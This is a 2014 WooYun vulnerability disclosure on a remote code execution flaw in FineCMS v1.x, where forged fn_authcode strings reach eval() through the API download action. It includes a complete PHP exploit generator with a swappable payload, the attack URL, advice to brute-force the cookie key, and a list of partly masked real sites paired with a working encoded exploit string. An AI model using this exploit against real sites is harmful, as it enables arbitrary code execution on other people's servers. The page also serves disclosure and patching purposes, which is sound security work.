当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(10) 关注此漏洞

缺陷编号: WooYun-2014-61643

漏洞标题: FineCMS v1.x远程代码执行漏洞

相关厂商: dayrui.com

漏洞作者: pangshenjie

提交时间: 2014-05-20 23:03

公开时间: 2014-08-18 23:04

漏洞类型: 命令执行

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 代码执行 finecms

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-20: 细节已通知厂商并且等待厂商处理中
2014-05-21: 厂商已经确认,细节仅向厂商公开
2014-05-24: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-07-15: 细节向核心白帽子及相关领域专家公开
2014-07-25: 细节向普通白帽子公开
2014-08-04: 细节向实习白帽子公开
2014-08-18: 细节向公众公开

简要描述:

FineCMS是一款基于PHP+MySql开发的内容管理系统,采用MVC设计模式实现业务逻辑与表现层的适当分离,使网页设计师能够轻松设计出理想的模板,插件化方式开发功能易用便于扩展,支持自定义内容模型和会员模型,并且可以自定义字段,系统内置文章、图片、下载、房产、商品内容模型,系统表单功能可轻松扩展出留言、报名、书籍等功能,实现与内容模型、会员模型相关联,FineCMS可面向中小型站点提供重量级网站建设解决方案
===
目前该cms有v1.x和v2.x两个内核的版本,貌似从官方论坛看到两个版本都在更新维护和发布,属于两个不同产品,v2.x是采用的CI框架编写,v1.x 最新版本是1.8 ,更新日期是2014.3.23,其中v1.x版本存在代码执行漏洞,可执行任意代码。

详细说明:

上周末去成信院搞基,顺便参加三叶草组织的一个校内的比赛,题目里面有修改改版的finecms让进行代码审计,看了一下午挖到了原版cms一个代码执行漏洞。



在/extensions/function.php中

code 区域
function string2array($data) {
if ($data == '') return array();
if (is_array($data)) return $data;
if (strpos($data, 'array') !== false && strpos($data, 'array') === 0) {
echo 'before eval $data is:'.$data.'<br>';
@eval("\$array = $data;");
return $array;
}
return unserialize($data);
}



可以看到,如果该函数传入的$data为非数组且前5个字符为array,就带入eval()中

跟踪string2array()函数,



在/extensions/function.php,fn_authcode()函数中有调用:

code 区域
function fn_authcode($data, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$string = $operation == 'DECODE' ? $data : array2string($data);
$key = md5($key ? $key : SITE_MEMBER_COOKIE);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return string2array(substr($result, 26));
} else {
return '';
}
} else {
return $keyc . str_replace('=', '', base64_encode($result));
}
}



可以看到,如果$result解密后的结果满足前十位为0等那三个条件,就会执行string2array(substr($result, 26))

那么就可以按照他的解密方式来构造合适的加密串,让解密后的$result从第26位开始是我们构造好的payload,这样就可以带入@eval("\$array = $data;");执行指定代码。



其中加密的几个key都和SITE_MEMBER_COOKIE有关,这个全局常量在/config/config.ini.php中定义(Cookie随机字符串),默认为空,这样在默认安装的情况下,导致payload被解密执行。



下面看看怎么构造合适的加密串,调用fn_authcode($data, 'EECODE')可加密一个串,但是cms中加密时会$data把经过array2string()函数处理,这个函数把输入的$data序列化,导致解密之后substr($result, 26)的值会多出一部分,所以去掉array2string()中的serialize(),来构造加密串。



最后找哪个controller调用了fn_authcode()函数,且第一个参数可控:

在/controllers/ApiController.php中,

code 区域
public function downAction()
{
$data = fn_authcode(base64_decode($this->get('file')), 'DECODE');
……
}



控制file变量为加密串,即可执行任意代码









漏洞证明:

生成加密串的payload:(cookie加密串SITE_MEMBER_COOKIE 默认安装时为空,不为空可以爆破)

code 区域
<?php
define('SITE_MEMBER_COOKIE',isset($_GET['ckey'])?$_GET['ckey']:''); //ckey 默认安装为空,不为空可以爆破

function encode($data)
{
$ckey_length = 4;
$string = array2string($data);
$key = md5(SITE_MEMBER_COOKIE);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = (substr(md5(microtime()), -$ckey_length));

$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);

$string = sprintf('%010d',0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $keyc . str_replace('=', '', base64_encode($result));
}
function new_stripslashes($string) {
if(!is_array($string)) return stripslashes($string);
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
return $string;
}
function array2string($data, $isformdata = 1) {
if($data == '') return '';
if($isformdata) $data = new_stripslashes($data);
//return serialize($data);
return $data;
}

$payload='array();phpinfo();'; //可自己更改payload,保证前面为array();
$encoded=base64_encode(encode($payload));
echo 'Payload is :<br>'.$payload.'<br>SITE_MEMBER_COOKIE :<br>'.SITE_MEMBER_COOKIE.'<br>Encode is:<br>'.$encoded;
?>





exp.php 可生成指定payload加密串,

然后 /index.php?c=api&a=down&file=加密串 代码执行

f1.jpg



f2.jpg





测试官网的demo没成功,应该官方修改过了SITE_MEMBER_COOKIE ,可以利用exp.php?ckey=abcd

生成加密串爆破SITE_MEMBER_COOKIE,依然可能导致代码执行,

google了找到了一些没改的:



http://**.**.**.**/index.php?



c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ



0S2ZiMHF4ZXJr



http://**.**.**.**/index.php?



c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ



0S2ZiMHF4ZXJr



http://**.**.**.**/index.php?



c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ



0S2ZiMHF4ZXJr



http://**.**.**.**/index.php?



c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ



0S2ZiMHF4ZXJr



http://**.**.**.**/index.php?



c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ



0S2ZiMHF4ZXJr



**.**.**.**/pub/wsxy/finecms/index.php?



c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ



0S2ZiMHF4ZXJr



http://**.**.**.**/index.php?



c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ



0S2ZiMHF4ZXJr



**.**.**.**/index.php?



c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ



0S2ZiMHF4ZXJr



……

……

修复方案:

发布补丁,另外两个版本同时在维护还不能相互升级,是不是有点蛋疼

版权声明:转载请注明来源 pangshenjie@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-05-21 09:22

厂商回复:

string2array函数的eval处理是兼容老版本,新版可以去掉

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2014-05-26 16:35 | secgov ( 路人 | Rank:10 漏洞数:3 | 安全审计,漏洞挖掘,WAF. 提醒大家揭露漏洞...)
    0

    小问题

登录后才能发表评论,请先 登录